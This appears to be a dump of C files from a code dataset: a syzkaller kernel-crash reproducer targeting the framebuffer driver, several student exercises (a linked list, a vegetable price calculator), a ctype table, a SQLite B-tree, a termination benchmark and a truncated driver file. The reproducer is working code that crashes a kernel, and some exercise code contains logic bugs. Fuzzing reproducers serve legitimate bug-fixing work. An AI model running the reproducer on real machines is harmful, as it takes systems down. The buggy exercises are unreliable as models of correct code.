file
stringlengths
18
26
data
stringlengths
3
1.04M
the_stack_data/1047183.c
// BUG: unable to handle kernel paging request in cfb_imageblit // https://syzkaller.appspot.com/bug?id=d2aff3a642e5b1a163c2 // status:0 // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include <dirent.h> #include <endian.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/prctl.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #include <linux/futex.h> static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } static uint64_t current_time_ms(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; } static void thread_start(void* (*fn)(void*), void* arg) { pthread_t th; pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setstacksize(&attr, 128 << 10); int i = 0; for (; i < 100; i++) { if (pthread_create(&th, &attr, fn, arg) == 0) { pthread_attr_destroy(&attr); return; } if (errno == EAGAIN) { usleep(50); continue; } break; } exit(1); } typedef struct { int state; } event_t; static void event_init(event_t* ev) { ev->state = 0; } static void event_reset(event_t* ev) { ev->state = 0; } static void event_set(event_t* ev) { if (ev->state) exit(1); __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000); } static void event_wait(event_t* ev) { while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0); } static int event_isset(event_t* ev) { return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE); } static int event_timedwait(event_t* ev, uint64_t timeout) { uint64_t start = current_time_ms(); uint64_t now = start; for (;;) { uint64_t remain = timeout - (now - start); struct timespec ts; ts.tv_sec = remain / 1000; ts.tv_nsec = (remain % 1000) * 1000 * 1000; syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts); if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) return 1; now = current_time_ms(); if (now - start > timeout) return 0; } } static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true; } static long syz_open_dev(volatile long a0, volatile long a1, volatile long a2) { if (a0 == 0xc || a0 == 0xb) { char buf[128]; sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", (uint8_t)a1, (uint8_t)a2); return open(buf, O_RDWR, 0); } else { char buf[1024]; char* hash; strncpy(buf, (char*)a0, sizeof(buf) - 1); buf[sizeof(buf) - 1] = 0; while ((hash = strchr(buf, '#'))) { *hash = '0' + (char)(a1 % 10); a1 /= 10; } return open(buf, a2, 0); } } static long syz_open_procfs(volatile long a0, volatile long a1) { char buf[128]; memset(buf, 0, sizeof(buf)); if (a0 == 0) { snprintf(buf, sizeof(buf), "/proc/self/%s", (char*)a1); } else if (a0 == -1) { snprintf(buf, sizeof(buf), "/proc/thread-self/%s", (char*)a1); } else { snprintf(buf, sizeof(buf), "/proc/self/task/%d/%s", (int)a0, (char*)a1); } int fd = open(buf, O_RDWR); if (fd == -1) fd = open(buf, O_RDONLY); return fd; } static void kill_and_wait(int pid, int* status) { kill(-pid, SIGKILL); kill(pid, SIGKILL); for (int i = 0; i < 100; i++) { if (waitpid(-1, status, WNOHANG | __WALL) == pid) return; usleep(1000); } DIR* dir = opendir("/sys/fs/fuse/connections"); if (dir) { for (;;) { struct dirent* ent = readdir(dir); if (!ent) break; if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0) continue; char abort[300]; snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name); int fd = open(abort, O_WRONLY); if (fd == -1) { continue; } if (write(fd, abort, 1) < 0) { } close(fd); } closedir(dir); } else { } while (waitpid(-1, status, __WALL) != pid) { } } static void setup_test() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); write_file("/proc/self/oom_score_adj", "1000"); } struct thread_t { int created, call; event_t ready, done; }; static struct thread_t threads[16]; static void execute_call(int call); static int running; static void* thr(void* arg) { struct thread_t* th = (struct thread_t*)arg; for (;;) { event_wait(&th->ready); event_reset(&th->ready); execute_call(th->call); __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED); event_set(&th->done); } return 0; } static void execute_one(void) { int i, call, thread; for (call = 0; call < 6; call++) { for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) { struct thread_t* th = &threads[thread]; if (!th->created) { th->created = 1; event_init(&th->ready); event_init(&th->done); event_set(&th->done); thread_start(thr, th); } if (!event_isset(&th->done)) continue; event_reset(&th->done); th->call = call; __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED); event_set(&th->ready); event_timedwait(&th->done, 45); break; } } for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++) sleep_ms(1); } static void execute_one(void); #define WAIT_FLAGS __WALL static void loop(void) { int iter = 0; for (;; iter++) { int pid = fork(); if (pid < 0) exit(1); if (pid == 0) { setup_test(); execute_one(); exit(0); } int status = 0; uint64_t start = current_time_ms(); for (;;) { if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid) break; sleep_ms(1); if (current_time_ms() - start < 5 * 1000) continue; kill_and_wait(pid, &status); break; } } } uint64_t r[3] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff}; void execute_call(int call) { intptr_t res = 0; switch (call) { case 0: memcpy((void*)0x20000180, "/dev/fb0\000", 9); res = syscall(__NR_openat, 0xffffffffffffff9cul, 0x20000180ul, 0ul, 0ul); if (res != -1) r[0] = res; break; case 1: *(uint32_t*)0x20000000 = 0x502; *(uint32_t*)0x20000004 = 0; *(uint32_t*)0x20000008 = 0; *(uint32_t*)0x2000000c = 0xf0; *(uint32_t*)0x20000010 = 0; *(uint32_t*)0x20000014 = 0; *(uint32_t*)0x20000018 = 4; *(uint32_t*)0x2000001c = 0; *(uint32_t*)0x20000020 = 0; *(uint32_t*)0x20000024 = 0; *(uint32_t*)0x20000028 = 0; *(uint32_t*)0x2000002c = 0; *(uint32_t*)0x20000030 = 0; *(uint32_t*)0x20000034 = 0; *(uint32_t*)0x20000038 = 0; *(uint32_t*)0x2000003c = 0; *(uint32_t*)0x20000040 = 0; *(uint32_t*)0x20000044 = 0; *(uint32_t*)0x20000048 = 0; *(uint32_t*)0x2000004c = 0; *(uint32_t*)0x20000050 = 3; *(uint32_t*)0x20000054 = 0; *(uint32_t*)0x20000058 = 0; *(uint32_t*)0x2000005c = 0; *(uint32_t*)0x20000060 = 0; *(uint32_t*)0x20000064 = 0; *(uint32_t*)0x20000068 = 0; *(uint32_t*)0x2000006c = 0; *(uint32_t*)0x20000070 = 0; *(uint32_t*)0x20000074 = 0; *(uint32_t*)0x20000078 = 0; *(uint32_t*)0x2000007c = 0; *(uint32_t*)0x20000080 = 0; *(uint32_t*)0x20000084 = 0; *(uint32_t*)0x20000088 = 0; *(uint32_t*)0x2000008c = 0; *(uint32_t*)0x20000090 = 0; *(uint32_t*)0x20000094 = 0; *(uint32_t*)0x20000098 = 0; *(uint32_t*)0x2000009c = 0; syscall(__NR_ioctl, r[0], 0x4601, 0x20000000ul); break; case 2: syscall(__NR_clone, 0x20002004ffcul, 0ul, 0x9999999999999999ul, 0ul, -1ul); break; case 3: res = -1; res = syz_open_dev(0xc, 4, 1); if (res != -1) r[1] = res; break; case 4: memcpy((void*)0x20000080, "mountinfo\000", 10); res = -1; res = syz_open_procfs(0, 0x20000080); if (res != -1) r[2] = res; break; case 5: syscall(__NR_sendfile, r[1], r[2], 0ul, 0x800000080004103ul); break; } } int main(void) { syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); loop(); return 0; }
the_stack_data/23575014.c
#include <stdio.h> #include<stdlib.h> struct uzel { int value; struct uzel *next; struct uzel *prev; } uzel; struct spis2{ struct uzel* head; struct uzel* tail; } spis2; int isEmpty(struct spis2* spisok) { return spisok->head==NULL && spisok->tail==NULL; } struct uzel* find(struct spis2* spisok,int k) { struct uzel *tmp=spisok->head; while(tmp->value!=k){ if(tmp->next!=NULL){ tmp=tmp->next; }else{ return NULL; } } return tmp; } struct uzel* find_invers(struct spis2* spisok,int k) { struct uzel *tmp=spisok->tail; while(tmp->value!=k){ if(tmp->prev!=NULL){ tmp=tmp->prev; }else{ return NULL; } } return tmp; } void init(struct spis2* spisok,int value) { struct uzel* tmp; tmp = (struct uzel*)malloc(sizeof(struct uzel)); tmp->value=value; tmp->next=NULL; tmp->prev=NULL; spisok->head = tmp; spisok->tail = tmp; } int push_back(struct spis2* spisok, int x) { if(isEmpty(spisok)==1) init (spisok,x); else { struct uzel *tmp = (struct uzel*)malloc(sizeof(struct uzel)); tmp->value=x; tmp->prev=spisok->tail; tmp->next=NULL; spisok->tail=tmp; tmp->prev->next=tmp; } return 0; } int push_front(struct spis2* spisok,int x) { if(isEmpty(spisok)==1) init (spisok,x); else { struct uzel *tmp = (struct uzel*)malloc(sizeof(struct uzel)); tmp->value=x; tmp->prev=NULL; tmp->next=spisok->head; spisok->head=tmp; tmp->next->prev=tmp; } return 0; } int clear(struct spis2* spisok) { if(isEmpty(spisok)!=0) { struct uzel *tmp=spisok->head; struct uzel *temp=NULL; while(tmp!=NULL) { temp=tmp->next; free(tmp); tmp=temp; } spisok->head=NULL; spisok->tail=NULL; } } void _remove(struct spis2* spisok, struct uzel *tmp){ if(tmp!=NULL){ if (tmp==spisok->head && tmp==spisok->tail) { clear(spisok); return; } if (tmp==spisok->head) { spisok->head=tmp->next; tmp->next->prev=NULL; } else if(tmp==spisok->tail) { spisok->tail=tmp->prev; tmp->prev->next=NULL; } else if (tmp!=spisok->head && tmp!=spisok->tail) { tmp->next->prev=tmp->prev; tmp->prev->next=tmp->next; } free(tmp); } } int removeLast(struct spis2* spisok,int x) { struct uzel* element = find_invers(spisok,x); if (element!=NULL){ _remove(spisok,element); return 0; } return -1; } int removeFirst(struct spis2* spisok, int x) { struct uzel* element = find(spisok,x); if (element!=NULL){ _remove(spisok,element); return 0; } return -1; } int insertAfter (struct spis2* spisok,int num, int data) { struct uzel* tmp = spisok->head; for (int i = 1;i<num;i++) { tmp=tmp->next; if(tmp==NULL) return -1; } struct uzel *temp = malloc(sizeof(uzel)); temp->value=data; temp->next=tmp->next; temp->prev=tmp; tmp->next->prev=temp; tmp->next=temp; return 0; } int insertBefore(struct spis2* spisok,int num, int data) { struct uzel* tmp = spisok->head; for (int i = 1;i<num;i++) { tmp=tmp->next; if(tmp==NULL) return -1; } struct uzel *temp = malloc(sizeof(uzel)); temp->value=data; temp->prev=tmp->prev; temp->next=tmp; tmp->prev=temp; temp->prev->next=temp; return 0; } void print(struct spis2* spisok) { struct uzel* tmp=spisok->head; while(tmp->next!=NULL) { printf("%d ", tmp->value); tmp=tmp->next; } printf("%d\n", tmp->value); } void print_invers(struct spis2* spisok) { struct uzel* tmp=spisok->tail; while(tmp->prev!=NULL) { printf("%d ", tmp->value); tmp=tmp->prev; } printf("%d\n", tmp->value); } int main() { int n,a; struct spis2* spisok=(struct spis2*)malloc(sizeof(struct spis2)); scanf("%d",&n); for (int i=0;i<n;i++) { scanf("%d",&a); push_back(spisok,a); } print(spisok); int k[3]; for(int i=0;i<3;i++){ scanf("%d",&k[i]); if(find(spisok,k[i])!=NULL) printf("1"); else printf("0"); } printf("\n"); int m; scanf("%d",&m); push_back(spisok,m); print_invers(spisok); int t; scanf("%d",&t); push_front(spisok,t); print(spisok); int j,x; scanf("%d%d",&j,&x); insertAfter(spisok,j,x); print_invers(spisok); int u,y; scanf("%d%d",&u,&y); insertBefore(spisok,u,y); print(spisok); int z; scanf("%d",&z); removeFirst(spisok,z); print_invers(spisok); int r; scanf("%d",&r); removeLast(spisok,r); print(spisok); clear(spisok); return 0; }
the_stack_data/161081406.c
#include <stdio.h> #define onionPrice 2.05 #define beetPrice 1.15 #define carrotPrice 1.09 #define discountedPrice 100 #define WEIGHT1 5 #define WEIGHT2 20 #define unitFreight 0.5 int main(void) { char vegetable; double o_weight, b_weight, c_weight, grossWeight; double discount = 0, vegetablePrice, packagingFee, totalPrice; printf("** Please choose thefactor: oinion: a, beet: b, carrot: c, quit: q **:\n"); while ((vegetable = getchar()) != 'q') { switch (vegetable) { case 'a': printf("Please enter the weight of oinion: "); scanf("%lf", &o_weight); break; case 'b': printf("Please enter the weight of beet: "); scanf("%lf", &b_weight); break; case 'c': printf("Please enter the weight of carrort: "); scanf("%lf", &c_weight); break; default: break; } printf("** Please choose thefactor: oinion: a, beet: b, carrot: c, quit: q **:\n"); while (getchar() != '\n') continue; } grossWeight = o_weight + b_weight + c_weight; if (grossWeight <= WEIGHT1) packagingFee = 6.5; else if (grossWeight <= WEIGHT2) packagingFee = 14; else packagingFee = 14 + (grossWeight - WEIGHT2) * 0.5; vegetablePrice = o_weight * onionPrice + b_weight * beetPrice + c_weight * carrotPrice; totalPrice = vegetablePrice + packagingFee; if (vegetable >= 100) { discount = 0.05 * vegetablePrice; } printf("The price of oinion: $%f/pound, beet: $%f/pound, carrot: $%f/pound \n", onionPrice, beetPrice, carrotPrice); printf("The gross weight: %0.2lf, totalPrice: %0.4lf, packagingFee: %0.2lf, the end price: %0.4lf \n", grossWeight, totalPrice, packagingFee, totalPrice - discount); if (discount) printf("The discount: %0.4lf \n", discount); return 0; }
the_stack_data/220454665.c
/* * This file is part of the UCB release of Plan 9. It is subject to the license * terms in the LICENSE file found in the top-level directory of this * distribution and at http://akaros.cs.berkeley.edu/files/Plan9License. No * part of the UCB release of Plan 9, including this file, may be copied, * modified, propagated, or distributed except according to the terms contained * in the LICENSE file. */ #include <ctype.h> unsigned char _ctype[] = { /* 0 1 2 3 */ /* 4 5 6 7 */ /* 0*/ _IScntrl, _IScntrl, _IScntrl, _IScntrl, _IScntrl, _IScntrl, _IScntrl, _IScntrl, /* 10*/ _IScntrl, _ISspace|_IScntrl, _ISspace|_IScntrl, _ISspace|_IScntrl, _ISspace|_IScntrl, _ISspace|_IScntrl, _IScntrl, _IScntrl, /* 20*/ _IScntrl, _IScntrl, _IScntrl, _IScntrl, _IScntrl, _IScntrl, _IScntrl, _IScntrl, /* 30*/ _IScntrl, _IScntrl, _IScntrl, _IScntrl, _IScntrl, _IScntrl, _IScntrl, _IScntrl, /* 40*/ _ISspace|_ISblank, _ISpunct, _ISpunct, _ISpunct, _ISpunct, _ISpunct, _ISpunct, _ISpunct, /* 50*/ _ISpunct, _ISpunct, _ISpunct, _ISpunct, _ISpunct, _ISpunct, _ISpunct, _ISpunct, /* 60*/ _ISdigit|_ISxdigit, _ISdigit|_ISxdigit, _ISdigit|_ISxdigit, _ISdigit|_ISxdigit, _ISdigit|_ISxdigit, _ISdigit|_ISxdigit, _ISdigit|_ISxdigit, _ISdigit|_ISxdigit, /* 70*/ _ISdigit|_ISxdigit, _ISdigit|_ISxdigit, _ISpunct, _ISpunct, _ISpunct, _ISpunct, _ISpunct, _ISpunct, /*100*/ _ISpunct, _ISupper|_ISxdigit, _ISupper|_ISxdigit, _ISupper|_ISxdigit, _ISupper|_ISxdigit, _ISupper|_ISxdigit, _ISupper|_ISxdigit, _ISupper, /*110*/ _ISupper, _ISupper, _ISupper, _ISupper, _ISupper, _ISupper, _ISupper, _ISupper, /*120*/ _ISupper, _ISupper, _ISupper, _ISupper, _ISupper, _ISupper, _ISupper, _ISupper, /*130*/ _ISupper, _ISupper, _ISupper, _ISpunct, _ISpunct, _ISpunct, _ISpunct, _ISpunct, /*140*/ _ISpunct, _ISlower|_ISxdigit, _ISlower|_ISxdigit, _ISlower|_ISxdigit, _ISlower|_ISxdigit, _ISlower|_ISxdigit, _ISlower|_ISxdigit, _ISlower, /*150*/ _ISlower, _ISlower, _ISlower, _ISlower, _ISlower, _ISlower, _ISlower, _ISlower, /*160*/ _ISlower, _ISlower, _ISlower, _ISlower, _ISlower, _ISlower, _ISlower, _ISlower, /*170*/ _ISlower, _ISlower, _ISlower, _ISpunct, _ISpunct, _ISpunct, _ISpunct, _IScntrl, /*200*/ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
the_stack_data/415124.c
/* * mylib.c * * Created on: October 25, 2021 * Author: Snowball Wang */ #include <stdio.h> #include <stdlib.h> #include <string.h> /* the include file for the SQLite library */ /* do not use sqlite.h or sqlite3ext.h */ #include <sqlite3.h> /* T defines minimum number of children in non-root nodes * 2*T is maximum number of children in all nodes * 2*T-1 is maximum number of keys in all nodes */ #define T 3 /* max length for the movie length */ #define MAXLEN 1024 typedef char * nodekey; /* record structure */ typedef struct s_record { unsigned int irecord; /* index of record in main database */ char * name; /* movie name used as key */ char * category; unsigned int year; char * format; char * language; char * url; } nodevalue; /* B-tree node structure */ typedef struct s_tnode { nodekey keys[2*T-1]; /* keys */ nodevalue * values[2*T-1]; /* values */ unsigned int nkeys; /* number of keys, < 2*T */ struct s_tnode * parent; /* pointer to parent */ struct s_tnode * children[2*T]; /* pointers to children */ } * p_tnode; /* static variables for the root of the tree and number of records */ static p_tnode ptreeroot = NULL; static unsigned int record_count = 0; /* alloc_record() - allocate a new record on the heap */ struct s_record * alloc_record() { struct s_record * precord = (struct s_record *)malloc(sizeof(struct s_record)); precord->irecord = 0; precord->name = NULL; /* movie name used as key */ precord->category = NULL; precord->year = 0; precord->format = NULL; precord->language = NULL; precord->url = NULL; return precord; } /* free_record() - frees the record structure and associated strings */ void free_record(struct s_record * precord) { if (precord->name) free(precord->name); if (precord->category) free(precord->category); if (precord->format) free(precord->format); if (precord->language) free(precord->language); if (precord->url) free(precord->url); free(precord); } /* display_record -- output record information to file pointer fp */ void display_record(struct s_record * precord, FILE * fp) { fprintf(fp, "[#%d] %s (%d): %s, %s, %s, <%s>\n", precord->irecord, precord->name, precord->year, precord->category, precord->format, precord->language, precord->url); } /* alloc_tnode() - creates a new B-tree node on the heap */ p_tnode alloc_tnode(void) { int n; p_tnode pnode = (p_tnode)malloc(sizeof(struct s_tnode)); pnode->nkeys = 0; for (n = 0; n < 2*T; n++) pnode->children[n] = NULL; pnode->parent = NULL; return pnode; } /* free_tnode() - frees a node in the B-tree, * its associated record, and all its children from memory */ void free_tnode(p_tnode pnode) { unsigned int n; for (n = 0; n < 2*T; n++) { if (pnode->children[n] != NULL) free_tnode(pnode->children[n]); } for (n = 0; n < pnode->nkeys; n++) { if (pnode->values[n]) free_record(pnode->values[n]); } free(pnode); } /* function for comparing two keys; simply calls the case-insensitive * string comparison function strcasecmp() declared in string.h. * Returns zero if both equal, positive if key1 > key2, negative if key1 < key2 */ int key_compare(const nodekey key1, const nodekey key2) { return strcasecmp(key1, key2); } /* find_index() - performs binary search of list of keys in node * to find either the index of the existing key, or the insertion * point of a new key. Returns nonnegative index of insertion point * if new key, or -(index+1) for existing key found at index * */ int find_index(nodekey key, p_tnode pnode) { /* find in between */ int icmp, L = 0, R = pnode->nkeys-1, M; int ibetween = 0; /* index to return */ /* complete binary search; * use key_compare() to compare two keys. */ while (L <= R) { M = (L + R) >> 1; icmp = strcasecmp(key, pnode->keys[M]); if (icmp > 0) { L = M + 1; ibetween = L; } else if(icmp < 0) { R = M - 1; ibetween = R + 1; } else return -(M + 1); } return ibetween; } /* split_node() - splits a full node in the B-tree into two separate nodes, * possibly creating a new root node in the process * should be no need to modify this function */ void split_node(p_tnode * ppnode, int * poffset) { p_tnode pnode = *ppnode; int median = pnode->nkeys>>1, i; p_tnode parent = pnode->parent, split = alloc_tnode(); if (poffset != NULL) { /* update offset index and ppnode to point to new insertion point */ if (*poffset > median) { /* move to new (split) node */ *poffset -= (median+1); *ppnode = split; } } if (parent) { int insert = find_index(pnode->keys[median],parent); /* move median into parent */ for (i = parent->nkeys; i > insert; i--) { parent->keys[i] = parent->keys[i-1]; parent->values[i] = parent->values[i-1]; parent->children[i+1] = parent->children[i]; } parent->keys[insert] = pnode->keys[median]; parent->values[insert] = pnode->values[median]; parent->children[insert] = pnode; parent->nkeys++; /* move half from pnode into new node */ for (i = median + 1; i < pnode->nkeys; i++) { split->keys[i-(median+1)] = pnode->keys[i]; split->values[i-(median+1)] = pnode->values[i]; } for (i = median + 1; i < pnode->nkeys+1; i++) { split->children[i-(median+1)] = pnode->children[i]; if (pnode->children[i] != NULL) pnode->children[i]->parent = split; pnode->children[i] = NULL; } split->nkeys = pnode->nkeys - (median+1); pnode->nkeys = median; parent->children[insert+1] = split; split->parent = parent; } else { /* split root */ parent = ptreeroot = alloc_tnode(); parent->keys[0] = pnode->keys[median]; parent->values[0] = pnode->values[median]; parent->children[0] = pnode; parent->nkeys = 1; pnode->parent = parent; /* move half from pnode into new node */ for (i = median + 1; i < pnode->nkeys; i++) { split->keys[i-(median+1)] = pnode->keys[i]; split->values[i-(median+1)] = pnode->values[i]; } for (i = median + 1; i < pnode->nkeys+1; i++) { split->children[i-(median+1)] = pnode->children[i]; if (pnode->children[i] != NULL) pnode->children[i]->parent = split; pnode->children[i] = NULL; } split->nkeys = pnode->nkeys - (median+1); pnode->nkeys = median; parent->children[1] = split; split->parent = parent; } } /* add_element() - add the record with the specified key to the B-tree. * returns a pointer to an already existing record with the same key, * in which case, the new record was not inserted, or NULL on success * should be no need to modify this function */ nodevalue * add_element(nodekey key, nodevalue * pvalue) { /* find leaf */ p_tnode pleaf = ptreeroot, parent = NULL; int ichild, i; while (pleaf != NULL) { ichild = find_index(key, pleaf); if (ichild < 0) /* already exists */ return pleaf->values[-(ichild+1)]; if (pleaf->nkeys == 2*T-1) { /* split leaf into two nodes */ split_node(&pleaf, &ichild); } parent = pleaf; pleaf = pleaf->children[ichild]; } pleaf = parent; record_count++; /* record actually added to tree */ /* enough room, just add to leaf */ for (i = pleaf->nkeys; i > ichild; i--) { pleaf->keys[i] = pleaf->keys[i-1]; pleaf->values[i] = pleaf->values[i-1]; } pleaf->keys[ichild] = key; pleaf->values[ichild] = pvalue; pleaf->nkeys++; return NULL; } /* inorder_traversal() - traverse B-tree, in sorted order * similar to binary search tree traversal (except nodes have multiple values and children) * writes record info to file pointer fp * */ void inorder_traversal(p_tnode pnode, FILE * fp) { int n; for (n = 0; n < pnode->nkeys; n++) { /* traverse children and keys, in order */ if (pnode->children[n] != NULL) inorder_traversal(pnode->children[n], fp); display_record(pnode->values[n], fp); } if (pnode->children[n] != NULL) { /* don't forget about the last child */ inorder_traversal(pnode->children[n], fp); } } /* find_value() - locate value for specified key in B-tree * need to return pointer to record structure, or NULL if record not found */ nodevalue * find_value(const nodekey key) { int ichild; p_tnode pleaf = ptreeroot; /* start at root */ /* iterate pleaf down to leaves of tree, or until key is found */ while (pleaf != NULL) { ichild = find_index(key, pleaf); if (ichild < 0) /* node found */ return pleaf->values[-(ichild+1)]; pleaf = pleaf->children[ichild]; } return NULL; /* didn't find it */ } /* display_result() - print information from the database * this function is a valid callback for use with sqlite3_exec() * pextra is unused * * needs to return zero (nonzero aborts SQL query) */ int display_result(void * pextra, int nfields, char ** arrvalues, char ** arrfieldnames) { int n; for (n = 0; n < nfields; n++) { printf("%s: [%s] ", arrfieldnames[n], arrvalues[n]); } printf("\n"); return 0; } /* store_result() - store record from database in B-tree * this function is also a valid callback for use with sqlite3_exec() * pextra is again unused * * needs to return zero (nonzero aborts SQL query) */ int store_result(void * pextra, int nfields, char ** arrvalues, char ** arrfieldnames) { int n; /* allocate record on heap */ struct s_record * prec = alloc_record(); prec->irecord = record_count+1; for (n = 0; n < nfields; n++) { if (strcasecmp(arrfieldnames[n], "MovieTitle") == 0) prec->name = strdup(arrvalues[n]); /* key */ else if (strcasecmp(arrfieldnames[n], "MovieCategory") == 0) prec->category = strdup(arrvalues[n]); else if (strcasecmp(arrfieldnames[n], "ProductionYear") == 0) prec->year = atoi(arrvalues[n]); else if (strcasecmp(arrfieldnames[n], "Format") == 0) prec->format = strdup(arrvalues[n]); else if (strcasecmp(arrfieldnames[n], "Language") == 0) prec->language = strdup(arrvalues[n]); else if (strcasecmp(arrfieldnames[n], "Web") == 0) prec->url = strdup(arrvalues[n]); } /* add record to B-tree */ if (add_element(prec->name, prec) != NULL) { /* element already exists -- don't add record */ printf("Duplicate record exists: "); /* diagnostic value only */ display_record(prec, stdout); free_record(prec); } return 0; } int initialize_db(const char * filename) { /* part (a): execute the first three SQL queries */ /* const char sql[] = "SELECT * FROM movies WHERE ProductionYear < 1950"; */ /* const char sql[] = "SELECT * FROM movies WHERE Format == \"VHS\""; */ /* const char sql[] = "SELECT * FROM movies WHERE Language == \"Spanish\""; */ /* part (b, c, d): use this SQL query to read the entire table */ const char sql[] = "SELECT * FROM movies"; /* alloc for ptreeroot */ ptreeroot = alloc_tnode(); /* load the database, probably using sqlite3_open() */ sqlite3 *db = NULL; char *errmsg = NULL; int ret = sqlite3_open(filename, &db); if (ret != SQLITE_OK) { fprintf(stderr, "Cannot open database: %s\n", sqlite3_errmsg(db)); sqlite3_close(db); return ret; } printf("Open database successfully!\n"); /* execute the SQL query, probably using sqlite3_exec() */ ret = sqlite3_exec(db, sql, store_result, NULL, &errmsg); if (ret != SQLITE_OK) { fprintf(stderr, "Fail to execute the SQL query: %s\n", errmsg); } /* close the database when you're done with it */ sqlite3_close(db); printf("Close database!\n"); return 0; } int locate_movie(const char * title) { nodevalue *result = find_value(title); if (result != NULL) { display_record(result, stdout); return 1; } return 0; } void dump_sorted_list(const char * filename) { FILE *fp = fopen(filename, "w"); if (fp != NULL) { inorder_traversal(ptreeroot, fp); fclose(fp); } } void cleanup(void) { free_tnode(ptreeroot); ptreeroot = NULL; }
the_stack_data/94044.c
/* * Date: 2014-06-08 * Author: [email protected] * * * This is Example 2.21 from the test suit used in * * Termination Proofs for Linear Simple Loops. * Hong Yi Chen, Shaked Flur, and Supratik Mukhopadhyay. * SAS 2012. * * The test suite is available at the following URL. * https://tigerbytes2.lsu.edu/users/hchen11/lsl/LSL_benchmark.txt * * Comment: terminating, non-linear */ typedef enum {false, true} bool; extern int __VERIFIER_nondet_int(void); int main() { int x, y; x = __VERIFIER_nondet_int(); y = __VERIFIER_nondet_int(); while (x > 0) { x = x + y; y = -y - 1; } return 0; }
the_stack_data/115979.c
/* ------------------------------------------ * Copyright (c) 2017, Synopsys, Inc. All rights reserved. * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * 1) Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * 2) Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation and/or * other materials provided with the distribution. * 3) Neither the name of the Synopsys, Inc., nor the names of its contributors may * be used to endorse or promote products derived from this software without * specific prior written permission. * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * --------------------------------------------- */ #ifdef MID_FATFS /* only available when enable fatfs middleware */ #include <stddef.h> #include <string.h> #include "arc/arc.h" #include "arc/arc_builtin.h" #include "embARC_toolchain.h" #include "embARC_error.h" #include "arc/arc_exception.h" #include "board.h" #ifdef ENABLE_OS #include "os_hal_inc.h" #endif #include "ff_diskio.h" #include "ff_sdcard.h" #include "sdcard_sdio.h" #define SDCARD_SDIO_ID 0 #if (USE_IOTDK_SDCARD_SDIO_0) static FS_SDCARD_SDIO_CTRL sdcard_sdio0 = { .id = 0, .drv_status = STA_NOINIT 